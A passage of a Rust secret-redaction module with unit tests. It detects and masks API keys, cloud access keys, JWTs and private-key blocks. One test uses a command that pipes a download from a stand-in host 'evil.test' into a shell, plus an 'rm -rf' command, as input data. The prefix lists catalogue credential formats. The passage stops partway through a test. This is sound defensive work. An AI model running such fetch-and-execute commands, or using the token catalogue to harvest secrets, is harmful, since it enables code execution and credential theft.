1969 fn leading_escaped_quote_len(value: &str) -> usize {
1970 let backslashes = value.bytes().take_while(|&b| b == b'\\').count();
1971 if matches!(value.as_bytes().get(backslashes), Some(b'"' | b'\'')) {
1972 backslashes + 1
1973 } else {
1974 0
1975 }
1976 }
1977
1978 fn trailing_escaped_quote_len(value: &str) -> usize {
1979 let Some(quote) = value.as_bytes().last().copied() else {
1980 return 0;
1981 };
1982 if !matches!(quote, b'"' | b'\'') {
1983 return 0;
1984 }
1985 let before = &value[..value.len() - 1];
1986 let backslashes = before.bytes().rev().take_while(|&b| b == b'\\').count();
1987 backslashes + 1
1988 }
1989
1990 /// Split a matching pair of surrounding quotes off a value, returning the
1991 /// inner text and the quotes to restore (empty when unquoted or unbalanced).
1992 #[must_use]
1993 pub fn split_value_quotes(value: &str) -> (&str, &str, &str) {
1994 let lead_len = leading_escaped_quote_len(value);
1995 let trail_len = trailing_escaped_quote_len(value);
1996 if lead_len > 0
1997 && trail_len > 0
1998 && value.len() >= lead_len + trail_len
1999 && value.as_bytes()[lead_len - 1] == value.as_bytes()[value.len() - 1]
2000 {
2001 if lead_len == trail_len {
2002 return (
2003 &value[lead_len..value.len() - trail_len],
2004 &value[..lead_len],
2005 &value[value.len() - trail_len..],
2006 );
2007 }
2008 if lead_len > trail_len && trail_len == 1 {
2009 let inner_trail = trailing_escaped_quote_len(&value[..value.len() - 1]);
2010 if inner_trail > 1
2011 && value.len() > lead_len + inner_trail + 1
2012 && value.as_bytes()[lead_len - 1] == value.as_bytes()[value.len() - 2]
2013 {
2014 let total_trail = inner_trail + 1;
2015 return (
2016 &value[lead_len..value.len() - total_trail],
2017 &value[..lead_len],
2018 &value[value.len() - total_trail..],
2019 );
2020 }
2021 }
2022 }
2023 if lead_len > 0 {
2024 return (&value[lead_len..], &value[..lead_len], "");
2025 }
2026 if trail_len == 1 {
2027 let inner_len = value.len() - 1;
2028 return (&value[..inner_len], "", &value[inner_len..]);
2029 }
2030 (value, "", "")
2031 }
2032
2033 /// Extra bare prefixes that mark a value as a credential even though they are
2034 /// too product-specific to mask as standalone words in prose.
2035 const CREDENTIAL_VALUE_PREFIXES: &[&str] = &[
2036 "sk-ant-",
2037 "AKIA",
2038 "ASIA",
2039 "AIza",
2040 "ghp_",
2041 "gho_",
2042 "ghu_",
2043 "ghs_",
2044 "ghr_",
2045 "github_pat_",
2046 "glpat-",
2047 "xoxa-",
2048 "xoxb-",
2049 "xoxp-",
2050 "xoxr-",
2051 "xoxs-",
2052 "npm_",
2053 "ya29.",
2054 "xapp-",
2055 ];
2056
2057 /// Whether a keyed value looks like credential material rather than code,
2058 /// configuration, or prose.
2059 ///
2060 /// True for known provider prefixes, JWTs, `Bearer`/`Basic` tokens, PEM
2061 /// headers, and long opaque alphanumeric runs. False for short literals,
2062 /// version strings, identifiers, property/call/env references, and the
2063 /// redaction placeholder itself.
2064 pub(crate) fn value_looks_like_credential(value: &str) -> bool {
2065 let value = value
2066 .trim()
2067 .trim_matches(|c| matches!(c, '"' | '\'' | ',' | ';'));
2068 if value.is_empty() || value == REDACTED {
2069 return false;
2070 }
2071 if looks_like_secret_token(value)
2072 || CREDENTIAL_VALUE_PREFIXES
2073 .iter()
2074 .any(|prefix| value.len() > prefix.len() + 6 && value.starts_with(prefix))
2075 {
2076 return true;
2077 }
2078 if value.starts_with("-----BEGIN") {
2079 return true;
2080 }
2081 if let Some((scheme, rest)) = value.split_once(' ')
2082 && is_auth_scheme_word(scheme)
2083 {
2084 return value_looks_like_credential(rest);
2085 }
2086 if is_jwt_shaped(value) {
2087 return true;
2088 }
2089 if value.len() < 16 {
2090 return false;
2091 }
2092 if is_version_like(value) || is_reference_like(value) {
2093 return false;
2094 }
2095 is_opaque_run(value)
2096 }
2097
2098 fn is_jwt_shaped(value: &str) -> bool {
2099 let bytes = value.as_bytes();
2100 if bytes.len() < 9 || !bytes.starts_with(b"eyJ") {
2101 return false;
2102 }
2103 let mut parts = value.split('.');
2104 match (parts.next(), parts.next(), parts.next(), parts.next()) {
2105 (Some(header), Some(payload), Some(signature), None) => {
2106 header.starts_with("eyJ")
2107 && payload.starts_with("eyJ")
2108 && !signature.is_empty()
2109 && [header, payload, signature].iter().all(|part| {
2110 part.as_bytes()
2111 .iter()
2112 .all(|b| b.is_ascii_alphanumeric() || *b == b'-' || *b == b'_')
2113 })
2114 }
2115 _ => false,
2116 }
2117 }
2118
2119 fn is_version_like(value: &str) -> bool {
2120 let digits = value.trim_start_matches(['^', '~', '>', '<', '=', 'v', 'V', ' ']);
2121 !digits.is_empty()
2122 && digits
2123 .chars()
2124 .all(|c| c.is_ascii_digit() || c == '.' || c == '-' || c == '+')
2125 && digits.chars().next().is_some_and(|c| c.is_ascii_digit())
2126 }
2127
2128 fn is_reference_like(value: &str) -> bool {
2129 // Property access, calls, template/env lookups, and plain identifiers are
2130 // code, not credential material.
2131 value.contains("?.")
2132 || value.contains('(')
2133 || value.contains("${")
2134 || value.contains("process.env")
2135 || value.contains("os.environ")
2136 || value.contains("getenv")
2137 || value.contains("://")
2138 || value
2139 .chars()
2140 .all(|c| c.is_ascii_alphabetic() || c == '_' || c == '.')
2141 }
2142
2143 fn is_opaque_run(value: &str) -> bool {
2144 value.len() >= 20
2145 && value
2146 .chars()
2147 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '/' | '=' | '_' | '-' | '.'))
2148 && value.chars().any(|c| c.is_ascii_alphabetic())
2149 && value.chars().any(|c| c.is_ascii_digit())
2150 }
2151
2152 /// If `body` is a `key <sep> value` assignment with a sensitive key, return the
2153 /// line with the value redacted; otherwise `None`.
2154 fn redact_keyed_assignment(body: &str, policy: RedactionPolicy) -> Option<String> {
2155 let sep_idx = body.find(['=', ':'])?;
2156 let (raw_key, rest) = body.split_at(sep_idx);
2157 let sep = &rest[..1];
2158 let raw_value = &rest[1..];
2159
2160 let key_norm = raw_key
2161 .trim()
2162 .trim_matches(|c| matches!(c, '"' | '\'' | '[' | ']'));
2163 let mut ws = key_norm.split_whitespace();
2164 let _first = ws.next();
2165 let sensitivity = if let Some(last_word) = ws.last()
2166 && last_word.starts_with('-')
2167 {
2168 key_sensitivity(last_word)
2169 } else {
2170 key_sensitivity(key_norm)
2171 };
2172 if !sensitivity.is_armed() {
2173 return None;
2174 }
2175
2176 if policy == RedactionPolicy::CredentialShaped || sensitivity == KeySensitivity::IfShaped {
2177 let value_rest = raw_value.trim_start();
2178 let value_lead_ws = &raw_value[..raw_value.len() - value_rest.len()];
2179 let value_core = value_rest.trim_end();
2180 let trailing_ws = &value_rest[value_core.len()..];
2181 let literal = value_core.trim_end_matches([',', ';']);
2182 let trailer = &value_core[literal.len()..];
2183 let (core, lead_quote, trail_quote) = split_value_quotes(literal);
2184 let words = core.split_whitespace().count();
2185 let single_value = words <= 1
2186 || (words == 2
2187 && core
2188 .split_whitespace()
2189 .next()
2190 .is_some_and(is_auth_scheme_word));
2191 if core.is_empty() || !single_value || !value_looks_like_credential(core) {
2192 return None;
2193 }
2194 return Some(format!(
2195 "{raw_key}{sep}{value_lead_ws}{lead_quote}{REDACTED}{trail_quote}{trailer}{trailing_ws}"
2196 ));
2197 }
2198
2199 let key_trimmed_start = raw_key.trim_start();
2200 let key_lead_ws = &raw_key[..raw_key.len() - key_trimmed_start.len()];
2201 let value_rest = raw_value.trim_start();
2202 let value_lead_ws = &raw_value[..raw_value.len() - value_rest.len()];
2203 if value_rest.is_empty() {
2204 return None;
2205 }
2206 let quoted = value_rest.starts_with('"') || value_rest.starts_with('\'');
2207 let replacement = if quoted {
2208 format!("\"{REDACTED}\"")
2209 } else {
2210 REDACTED.to_string()
2211 };
2212 Some(format!(
2213 "{key_lead_ws}{}{sep}{value_lead_ws}{replacement}",
2214 raw_key.trim()
2215 ))
2216 }
2217
2218 #[cfg(test)]
2219 const BARE_OPAQUE_TOKEN_PREFIXES: &[&str] = &["xai-", "nvapi-", "gsk_", "hf_", "pplx-"];
2220
2221 fn looks_like_secret_token(word: &str) -> bool {
2222 secret_token_core(word).is_some()
2223 }
2224
2225 fn secret_token_core(word: &str) -> Option<&str> {
2226 if word.len() < 9 {
2227 return None;
2228 }
2229 let core = word.trim_matches(|c| {
2230 matches!(
2231 c,
2232 '(' | ')' | '[' | ']' | '{' | '}' | '<' | '>' | ':' | '`' | '.' | '!' | '?'
2233 )
2234 });
2235 (!core.is_empty() && is_bare_secret_token(core)).then_some(core)
2236 }
2237
2238 fn is_bare_secret_token(word: &str) -> bool {
2239 let bytes = word.as_bytes();
2240 if bytes.len() < 9 {
2241 return false;
2242 }
2243 match bytes[0] {
2244 b's' => bytes.len() > 9 && (bytes.starts_with(b"sk-") || bytes.starts_with(b"sk_")),
2245 b'p' => {
2246 (bytes.len() > 9 && bytes.starts_with(b"pk-"))
2247 || word.strip_prefix("pplx-").is_some_and(is_opaque_token_body)
2248 }
2249 b'g' => {
2250 (bytes.len() > 10 && (bytes.starts_with(b"ghp_") || bytes.starts_with(b"gho_")))
2251 || word
2252 .strip_prefix("ghu_")
2253 .or_else(|| word.strip_prefix("ghs_"))
2254 .or_else(|| word.strip_prefix("ghr_"))
2255 .or_else(|| word.strip_prefix("gsk_"))
2256 .or_else(|| word.strip_prefix("glpat-"))
2257 .or_else(|| word.strip_prefix("github_pat_"))
2258 .is_some_and(is_opaque_token_body)
2259 }
2260 b'x' => {
2261 (bytes.len() > 11 && (bytes.starts_with(b"xoxb-") || bytes.starts_with(b"xoxp-")))
2262 || word
2263 .strip_prefix("xai-")
2264 .or_else(|| word.strip_prefix("xoxa-"))
2265 .or_else(|| word.strip_prefix("xoxr-"))
2266 .or_else(|| word.strip_prefix("xoxs-"))
2267 .or_else(|| word.strip_prefix("xapp-"))
2268 .is_some_and(is_opaque_token_body)
2269 }
2270 b'A' => {
2271 is_aws_access_key_id(word)
2272 || word.strip_prefix("AIza").is_some_and(is_opaque_token_body)
2273 }
2274 b'n' => word
2275 .strip_prefix("npm_")
2276 .or_else(|| word.strip_prefix("nvapi-"))
2277 .is_some_and(is_opaque_token_body),
2278 b'y' => word.strip_prefix("ya29.").is_some_and(is_opaque_token_body),
2279 b'h' => word.strip_prefix("hf_").is_some_and(is_opaque_token_body),
2280 b'e' => is_jwt_shaped(word),
2281 _ => false,
2282 }
2283 }
2284
2285 fn is_opaque_token_body(body: &str) -> bool {
2286 let bytes = body.as_bytes();
2287 if bytes.len() < 16 {
2288 return false;
2289 }
2290 let mut has_alpha = false;
2291 let mut has_digit = false;
2292 for &b in bytes {
2293 if b.is_ascii_alphabetic() {
2294 has_alpha = true;
2295 } else if b.is_ascii_digit() {
2296 has_digit = true;
2297 } else if !matches!(b, b'_' | b'-' | b'.') {
2298 return false;
2299 }
2300 }
2301 has_alpha && has_digit
2302 }
2303
2304 fn is_aws_access_key_id(word: &str) -> bool {
2305 let bytes = word.as_bytes();
2306 bytes.len() == 20
2307 && (bytes.starts_with(b"AKIA") || bytes.starts_with(b"ASIA"))
2308 && bytes[4..]
2309 .iter()
2310 .all(|b| b.is_ascii_uppercase() || b.is_ascii_digit())
2311 }
2312
2313 const TOKEN_DELIM_LUT: [bool; 256] = {
2314 let mut lut = [false; 256];
2315 let mut i = 0usize;
2316 while i < 256 {
2317 let b = i as u8;
2318 lut[i] = b >= 0x80
2319 || b.is_ascii_whitespace()
2320 || matches!(
2321 b,
2322 b'"' | b'\''
2323 | b'`'
2324 | b','
2325 | b';'
2326 | b'('
2327 | b')'
2328 | b'{'
2329 | b'}'
2330 | b'['
2331 | b']'
2332 | b'<'
2333 | b'>'
2334 | b'&'
2335 | b'?'
2336 | b'*'
2337 | b'|'
2338 | b'\\'
2339 | b'='
2340 | b':'
2341 | b'@'
2342 | b'/'
2343 | b'+'
2344 | b'#'
2345 | b'%'
2346 );
2347 i += 1;
2348 }
2349 lut
2350 };
2351
2352 #[inline]
2353 fn bare_token_core_after(body: &str, escaped: bool) -> Option<&str> {
2354 fn credential_core(body: &str) -> Option<&str> {
2355 let stripped = body.trim_start_matches('-');
2356 secret_token_core(stripped).or_else(|| {
2357 (stripped.len() != body.len())
2358 .then(|| secret_token_core(body))
2359 .flatten()
2360 })
2361 }
2362 fn after_escape(body: &str) -> &str {
2363 if let Some(rest) = body.strip_prefix(['n', 'r', 't', 'b', 'f']) {
2364 return rest;
2365 }
2366 if let Some(rest) = body.strip_prefix('u')
2367 && let Some(hex) = rest.get(..4)
2368 && hex.as_bytes().iter().all(u8::is_ascii_hexdigit)
2369 {
2370 return &rest[4..];
2371 }
2372 body
2373 }
2374 credential_core(body).or_else(|| {
2375 escaped
2376 .then(|| credential_core(after_escape(body)))
2377 .flatten()
2378 })
2379 }
2380
2381 /// Whether `raw` names a credential (`api_key`, `X-Api-Key`, `DBPASSWORD`)
2382 /// rather than a usage metric (`max_tokens`).
2383 #[must_use]
2384 pub fn names_a_credential(raw: &str) -> bool {
2385 key_is_sensitive(raw)
2386 }
2387
2388 /// Whether `text` holds a provider credential on its own, wherever it sits:
2389 /// after `NAME=`, inside quotes, brackets or JSON, or next to non-ASCII text.
2390 #[must_use]
2391 pub fn contains_bare_secret_token(text: &str) -> bool {
2392 let bytes = text.as_bytes();
2393 if bytes.len() < 9 {
2394 return false;
2395 }
2396 let prefilter = bare_token_prefilter();
2397 let mut cursor = 0usize;
2398 while let Some(matched) = prefilter.find(&bytes[cursor..]) {
2399 let hit = cursor + matched.start();
2400 let mut tok_start = hit;
2401 while tok_start > cursor && !TOKEN_DELIM_LUT[bytes[tok_start - 1] as usize] {
2402 tok_start -= 1;
2403 }
2404 let mut tok_end = hit + matched.len();
2405 while tok_end < bytes.len() && !TOKEN_DELIM_LUT[bytes[tok_end] as usize] {
2406 tok_end += 1;
2407 }
2408 if tok_end - tok_start >= 9 {
2409 let escaped = tok_start > 0 && bytes[tok_start - 1] == b'\\';
2410 if bare_token_core_after(&text[tok_start..tok_end], escaped).is_some() {
2411 return true;
2412 }
2413 }
2414 cursor = tok_end;
2415 }
2416 false
2417 }
2418
2419 /// Replace every standalone provider credential in `text` with
2420 /// `placeholder`, keeping the surrounding bytes. Returns `None` when `text`
2421 /// holds none.
2422 #[must_use]
2423 pub fn mask_bare_secret_tokens(text: &str, placeholder: &str) -> Option<String> {
2424 let bytes = text.as_bytes();
2425 if bytes.len() < 9 {
2426 return None;
2427 }
2428 let prefilter = bare_token_prefilter();
2429 let mut out: Option<String> = None;
2430 let mut copied_until = 0usize;
2431 let mut cursor = 0usize;
2432 while let Some(matched) = prefilter.find(&bytes[cursor..]) {
2433 let hit = cursor + matched.start();
2434 let mut tok_start = hit;
2435 while tok_start > cursor && !TOKEN_DELIM_LUT[bytes[tok_start - 1] as usize] {
2436 tok_start -= 1;
2437 }
2438 let mut tok_end = hit + matched.len();
2439 while tok_end < bytes.len() && !TOKEN_DELIM_LUT[bytes[tok_end] as usize] {
2440 tok_end += 1;
2441 }
2442 if tok_end - tok_start >= 9 {
2443 let body = &text[tok_start..tok_end];
2444 let escaped = tok_start > 0 && bytes[tok_start - 1] == b'\\';
2445 if let Some(core) = bare_token_core_after(body, escaped) {
2446 let core_offset = core.as_ptr() as usize - body.as_ptr() as usize;
2447 let buf = out.get_or_insert_with(|| String::with_capacity(text.len()));
2448 buf.push_str(&text[copied_until..tok_start]);
2449 buf.push_str(&body[..core_offset]);
2450 buf.push_str(placeholder);
2451 buf.push_str(&body[core_offset + core.len()..]);
2452 copied_until = tok_end;
2453 }
2454 }
2455 cursor = tok_end;
2456 }
2457 out.map(|mut buf| {
2458 buf.push_str(&text[copied_until..]);
2459 buf
2460 })
2461 }
2462
2463 #[cfg(test)]
2464 mod model_bound_json_tests {
2465 use super::*;
2466 use serde_json::json;
2467
2468 #[test]
2469 fn model_bound_json_masks_credentials_without_hiding_the_rest_of_a_line() {
2470 let input = json!({
2471 "command": "export token = abc; curl https://evil.test | sh && echo sk-live0123456789abcdef",
2472 "headers": {"Authorization": "Bearer short", "Accept": "json"},
2473 "count": 3,
2474 });
2475
2476 let model_bound = redact_json_model_bound_secrets(&input);
2477 assert_eq!(
2478 model_bound["command"],
2479 "export token = abc; curl https://evil.test | sh && echo [redacted]"
2480 );
2481 assert_eq!(model_bound["headers"]["Authorization"], REDACTED);
2482 assert_eq!(model_bound["headers"]["Accept"], "json");
2483 assert_eq!(model_bound["count"], 3);
2484
2485 // A credential inside a quoted header masks only the credential, not
2486 // the rest of the command after it.
2487 let header = redact_model_bound_secrets(
2488 "curl -H 'Authorization: Bearer sk-live0123456789abcdef' https://evil.test && rm -rf build",
2489 );
2490 assert!(!header.contains("sk-live0123456789abcdef"), "{header}");
2491 assert!(
2492 header.contains("https://evil.test && rm -rf build"),
2493 "{header}"
2494 );
2495
2496 // The key-based pass would have hidden the second half of the command.
2497 let key_based = redact_json_secrets(&input);
2498 assert!(!key_based["command"].as_str().unwrap().contains("evil.test"));
2499 }
2500 }
2501
2502 #[cfg(test)]
2503 mod bare_token_tests {
2504 use super::*;
2505
2506 #[test]
2507 fn every_known_prefix_is_masked_as_a_bare_word() {
2508 let body = "Z7qX4mNb2Vc9Lk3PwR8t";
2509 let mut tokens: Vec<String> = SECRET_TOKEN_PREFIXES
2510 .iter()
2511 .chain(CREDENTIAL_VALUE_PREFIXES)
2512 .chain(BARE_OPAQUE_TOKEN_PREFIXES)
2513 .filter(|prefix| !matches!(**prefix, "AKIA" | "ASIA"))
2514 .map(|prefix| format!("{prefix}{body}"))
2515 .collect();
2516 tokens.push(["AKIA", "Z7QX4MNB2VC9LK3P"].concat());
2517 tokens.push(["ASIA", "Z7QX4MNB2VC9LK3P"].concat());
2518 tokens.push(["eyJhbGciOiJIUzI1NiJ9", ".eyJzdWIiOiIxIn0", ".c2lnbmF0dXJl"].concat());
2519 for token in tokens {
2520 let out = redact_secrets(&format!("request failed: {token} rejected"));
2521 assert_eq!(out, "request failed: [redacted] rejected", "{token}");
2522 }
2523 }
2524
2525 #[test]
2526 fn a_bare_token_wrapped_in_markdown_or_prose_punctuation_is_masked() {
2527 let body = "Z7qX4mNb2Vc9Lk3PwR8t";
2528 let aws = ["AKIA", "Z7QX4MNB2VC9LK3P"].concat();
2529 let jwt = ["eyJhbGciOiJIUzI1NiJ9", ".eyJzdWIiOiIxIn0", ".c2lnbmF0dXJl"].concat();
2530 for (wrapped, token) in [
2531 (format!("`xai-{body}`"), format!("xai-{body}")),
2532 (format!("(nvapi-{body})"), format!("nvapi-{body}")),
2533 (format!("hf_{body})"), format!("hf_{body}")),
2534 (format!("[pplx-{body}]"), format!("pplx-{body}")),
2535 (format!("{aws}:"), aws.clone()),
2536 (format!("{aws})"), aws.clone()),
2537 (format!("{jwt})."), jwt.clone()),
2538 ] {
2539 let out = redact_secrets(&format!("key {wrapped} rejected"));
2540 assert!(!out.contains(&token), "{out}");
2541 assert!(out.contains(REDACTED), "{out}");
2542 }
2543 assert_eq!(
2544 redact_secrets(&format!("key `xai-{body}` rejected")),
2545 "key `[redacted]` rejected"
2546 );
2547 }
2548
2549 #[test]
2550 fn a_bare_token_next_to_cjk_text_or_full_width_punctuation_is_masked() {
2551 let key = ["sk-", "Z7qX4mNb2Vc9Lk3PwR8t"].concat();
2552 let jwt = ["eyJhbGciOiJIUzI1NiJ9", ".eyJzdWIiOiIxIn0", ".c2lnbmF0dXJl"].concat();
2553 for (input, expected) in [
2554 (format!("密钥:{key}"), "密钥:[redacted]"),
2555 (
2556 format!("我的密钥是{key},请保管"),
2557 "我的密钥是[redacted],请保管",
2558 ),
2559 (format!("({jwt})"), "([redacted])"),
2560 (format!("key\u{3000}{key}"), "key\u{3000}[redacted]"),
2561 (format!("甲{key}乙{key}"), "甲[redacted]乙[redacted]"),
2562 ] {
2563 assert_eq!(redact_secrets(&input), expected);
2564 assert_eq!(redact_model_bound_secrets(&input), expected);
2565 }
2566 }
2567
2568 #[test]
2569 fn a_keyed_secret_after_a_cjk_adjacent_token_in_the_same_word_is_still_masked() {
2570 let token = "ABCDEFGH12345678";
2571 for (out, secret) in [
2572 (
2573 redact_secrets(
2574 "https://h/s?q=见xai-ABCDEFGH12345678乙&access_token=hunter2hunter2",
2575 ),
2576 "hunter2hunter2",
2577 ),
2578 (
2579 redact_secrets(r#"{"msg":"见xai-ABCDEFGH12345678乙","api_key":"hunter2"}"#),
2580 "hunter2",
2581 ),
2582 (
2583 redact_model_bound_secrets(
2584 r#"{"password":"Zx9qLm2Vb7Nc4Rt8Wp3K","msg":"见xai-ABCDEFGH12345678乙"}"#,
2585 ),
2586 "Zx9qLm2Vb7Nc4Rt8Wp3K",
2587 ),
2588 ] {
2589 assert!(!out.contains(secret), "{out}");
2590 assert!(!out.contains(token), "{out}");
2591 }
2592 }
2593
2594 #[test]
2595 fn lowercase_opaque_keys_with_separators_are_still_masked() {
2596 // Lowercase letters and separators are also valid random key material;
2597 // their shape alone does not establish that this is an identifier.
2598 for prefix in BARE_OPAQUE_TOKEN_PREFIXES {
2599 for separator in ['-', '_', '.'] {
2600 let body = ["a1b2c3d4", "e5f6g7h8", "i9j0k1l2"].join(&separator.to_string());
2601 let token = format!("{prefix}{body}");
2602 let out = redact_secrets(&format!("request failed: `{token}` rejected"));
2603 assert_eq!(out, "request failed: `[redacted]` rejected");
2604 }
2605 }
2606 }
2607
2608 #[test]
2609 fn identifiers_sharing_a_prefix_stay_visible() {
2610 for word in [
2611 "hf_hub_download",
2612 "npm_config_cache",
2613 "xai-grok-sdk",
2614 "AKIAshort",
2615 "gsk_",
2616 "eyJ.eyJ",
2617 ] {
2618 let line = format!("call {word} now");
2619 assert_eq!(redact_secrets(&line), line, "{word}");
2620 }
2621 }
2622 }
2623
2624 #[cfg(test)]
2625 mod assigned_secret_tests {
2626 use super::*;
2627
2628 const BODY: &str = "Z7qX4mNb2Vc9Lk3PwR8t";
2629
2630 fn both_policies(input: &str) -> [String; 2] {
2631 [redact_secrets(input), redact_model_bound_secrets(input)]
2632 }
2633
2634 #[test]
2635 fn a_credential_assigned_to_an_unremarkable_name_is_masked_under_both_policies() {
2636 let openai = format!("sk-proj-{BODY}");
2637 let github = format!("ghp_{BODY}");
2638 let live = format!("sk-live-{BODY}");
2639 for (input, expected) in [
2640 (format!("OPENAI_KEY={openai}"), "OPENAI_KEY=[redacted]"),
2641 (format!("GITHUB_PAT={github}"), "GITHUB_PAT=[redacted]"),
2642 (format!("key={live}"), "key=[redacted]"),
2643 (format!("GH_PAT:{github}"), "GH_PAT:[redacted]"),
2644 (
2645 format!("export GH_PAT='{github}'"),
2646 "export GH_PAT='[redacted]'",
2647 ),
2648 (
2649 format!("{{\"key\":\"{live}\",\"n\":1}}"),
2650 "{\"key\":\"[redacted]\",\"n\":1}",
2651 ),
2652 ] {
2653 for out in both_policies(&input) {
2654 assert_eq!(out, expected, "{input}");
2655 }
2656 }
2657 }
2658
2659 #[test]
2660 fn counts_and_plain_assignments_stay_visible() {
2661 for input in [
2662 "max_tokens=8192",
2663 "TOKEN_LIMIT=4096",
2664 "mode=fast region=us-east-1",
2665 "url=https://example.test/a?b=c",
2666 "path:/usr/local/bin",
2667 "run --max-tokens 4096 --token-limit 5 --tokenizer bpe",
2668 ] {
2669 for out in both_policies(input) {
2670 assert_eq!(out, input);
2671 }
2672 }
2673 }
2674
2675 #[test]
2676 fn a_private_key_written_on_one_line_is_masked() {
2677 let one_line = "-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASC -----END PRIVATE KEY-----";
2678 let json_line = "{\"k\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEowIBAAKCAQEA\\n-----END RSA PRIVATE KEY-----\\n\"}";
2679 for out in both_policies(one_line) {
2680 assert_eq!(
2681 out,
2682 "-----BEGIN PRIVATE KEY-----[redacted]-----END PRIVATE KEY-----"
2683 );
2684 }
2685 for out in both_policies(json_line) {
2686 assert!(!out.contains("MIIEowIBAAKCAQEA"), "{out}");
2687 assert!(out.contains("-----END RSA PRIVATE KEY-----"), "{out}");
2688 }
2689 let open_block =
2690 "-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkq\nmore\n-----END PRIVATE KEY-----\n";
2691 for out in both_policies(open_block) {
2692 assert_eq!(
2693 out,
2694 "-----BEGIN PRIVATE KEY-----[redacted]\n[redacted]\n-----END PRIVATE KEY-----\n"
2695 );
2696 }
2697 }
2698
2699 const HEX: &str = "3f9a8c1d2e4b5a6f7c8d9e0a1b2c3d4e5f6a7b8c";
2700 const PEM: &str = "-----BEGIN PRIVATE KEY-----MIIEvQB-----END PRIVATE KEY-----";
2701
2702 fn assert_masked(input: &str, leaked: &str) {
2703 for out in both_policies(input) {
2704 assert!(!out.contains(leaked), "{input} leaked {leaked}: {out}");
2705 assert!(out.contains(REDACTED), "{input}: {out}");
2706 }
2707 }
2708
2709 #[test]
2710 fn a_line_holding_a_private_key_still_masks_everything_else_on_it() {
2711 let openai = format!("sk-proj-{BODY}");
2712 let github = format!("ghp_{BODY}");
2713 for input in [
2714 format!("OPENAI_API_KEY={openai} PEM={PEM}"),
2715 format!("cert={PEM} then {github} and more"),
2716 format!("x=-----BEGIN PRIVATE KEY-----y-----END x OPENAI_API_KEY={openai}"),
2717 format!("-----BEGIN PRIVATE KEY----------END PRIVATE KEY----- GH_PAT={github}"),
2718 format!("{{\"private_key\":\"{PEM}\\n\",\"token\":\"{github}\"}}"),
2719 format!("a={PEM} b={PEM} {openai}"),
2720 ] {
2721 assert_masked(&input, BODY);
2722 assert_masked(&input, "MIIEvQB");
2723 }
2724 let one_line = format!("cert={PEM} password=hunter2");
2725 assert!(!redact_secrets(&one_line).contains("hunter2"));
2726 let compact = format!("{{\"private_key\":\"{PEM}\",\"client_secret\":\"{HEX}\"}}");
2727 assert_masked(&compact, HEX);
2728 }
2729
2730 #[test]
2731 fn multi_line_private_keys_open_a_block_whatever_their_header_spelling() {
2732 for (header, footer) in [
2733 (
2734 "-----BEGIN PGP PRIVATE KEY BLOCK-----",
2735 "-----END PGP PRIVATE KEY BLOCK-----",
2736 ),
2737 ("-----BEGIN PRIVATE KEY", "-----END PRIVATE KEY"),
2738 (
2739 "-----BEGIN OPENSSH PRIVATE KEY-----",
2740 "-----END OPENSSH PRIVATE KEY-----",
2741 ),
2742 ] {
2743 let input = format!("{header}\nlQOYBFB\nmoreBody{BODY}\n{footer}\nafter\n");
2744 for out in both_policies(&input) {
2745 assert_eq!(
2746 out,
2747 format!("{header}\n[redacted]\n[redacted]\n{footer}\nafter\n"),
2748 "{header}"
2749 );
2750 }
2751 }
2752 for input in [
2753 "-----BEGIN CERTIFICATE-----MIIc-----END CERTIFICATE----- -----BEGIN PRIVATE KEY-----\nMIIkeybody\n-----END PRIVATE KEY-----\n",
2754 "-----BEGIN PRIVATE KEY-----a1-----END PRIVATE KEY----- -----BEGIN PRIVATE KEY-----\nMIIsecond\n-----END PRIVATE KEY-----\n",
2755 "-----END CERTIFICATE----------BEGIN PRIVATE KEY-----\nMIIkeybody\n-----END PRIVATE KEY-----\n",
2756 ] {
2757 for out in both_policies(input) {
2758 assert!(!out.contains("MIIkeybody"), "{input}: {out}");
2759 assert!(!out.contains("MIIsecond"), "{input}: {out}");
2760 assert!(out.contains(REDACTED), "{input}: {out}");
2761 }
2762 }
2763 }
2764
2765 #[test]
2766 fn prefixed_multi_line_private_keys_open_a_block_without_breaking_scripts() {
2767 let pem_body = "MIIEpAIBAAKCAQEAz7qX4mNb2Vc9Lk3PwR8tMIIEpAIBAAKCAQEAz7qX4mNb2Vc9";
2768 for input in [
2769 format!(
2770 " 1│ -----BEGIN RSA PRIVATE KEY-----\n 2│ {pem_body}\n 3│ -----END RSA PRIVATE KEY-----\n"
2771 ),
2772 format!(
2773 " 1\t-----BEGIN OPENSSH PRIVATE KEY-----\n 2\t{pem_body}\n 3\t-----END OPENSSH PRIVATE KEY-----\n"
2774 ),
2775 format!(
2776 "+-----BEGIN RSA PRIVATE KEY-----\n+{pem_body}\n+-----END RSA PRIVATE KEY-----\n"
2777 ),
2778 format!(
2779 "------BEGIN RSA PRIVATE KEY-----\n-{pem_body}\n------END RSA PRIVATE KEY-----\n"
2780 ),
2781 format!(
2782 "deploy/key.pem:1:-----BEGIN PRIVATE KEY-----\ndeploy/key.pem:2:{pem_body}\ndeploy/key.pem:3:-----END PRIVATE KEY-----\n"
2783 ),
2784 format!(
2785 "GITHUB_APP_PRIVATE_KEY=\"-----BEGIN RSA PRIVATE KEY-----\n{pem_body}\n-----END RSA PRIVATE KEY-----\"\n"
2786 ),
2787 format!("> -----BEGIN PRIVATE KEY-----\n> {pem_body}\n> -----END PRIVATE KEY-----\n"),
2788 format!("# -----BEGIN PRIVATE KEY-----\n# {pem_body}\n# -----END PRIVATE KEY-----\n"),
2789 format!(
2790 "const key = \"-----BEGIN RSA PRIVATE KEY-----\\n\" +\n\"{pem_body}\\n\" +\n\"-----END RSA PRIVATE KEY-----\";\n"
2791 ),
2792 format!(
2793 "KEY = \"\"\"-----BEGIN RSA PRIVATE KEY-----\n{pem_body}\n-----END RSA PRIVATE KEY-----\"\"\"\n"
2794 ),
2795 format!(
2796 " 1│ -----BEGIN RSA PRIVATE KEY-----\r\n 2│ {pem_body}\r\n 3│ -----END RSA PRIVATE KEY-----\r\n"
2797 ),
2798 ] {
2799 assert_masked(&input, pem_body);
2800 }
2801 for script in [
2802 "echo \"-----BEGIN PRIVATE KEY-----\"\necho ok\n",
2803 "if line.starts_with(\"-----BEGIN PRIVATE KEY-----\") {\n return true;\n}\n",
2804 ] {
2805 for out in both_policies(script) {
2806 assert_eq!(out, script);
2807 }
2808 }
2809 }
2810
2811 #[test]
2812 fn escaped_delimiters_do_not_hide_bare_credentials() {
2813 for input in [
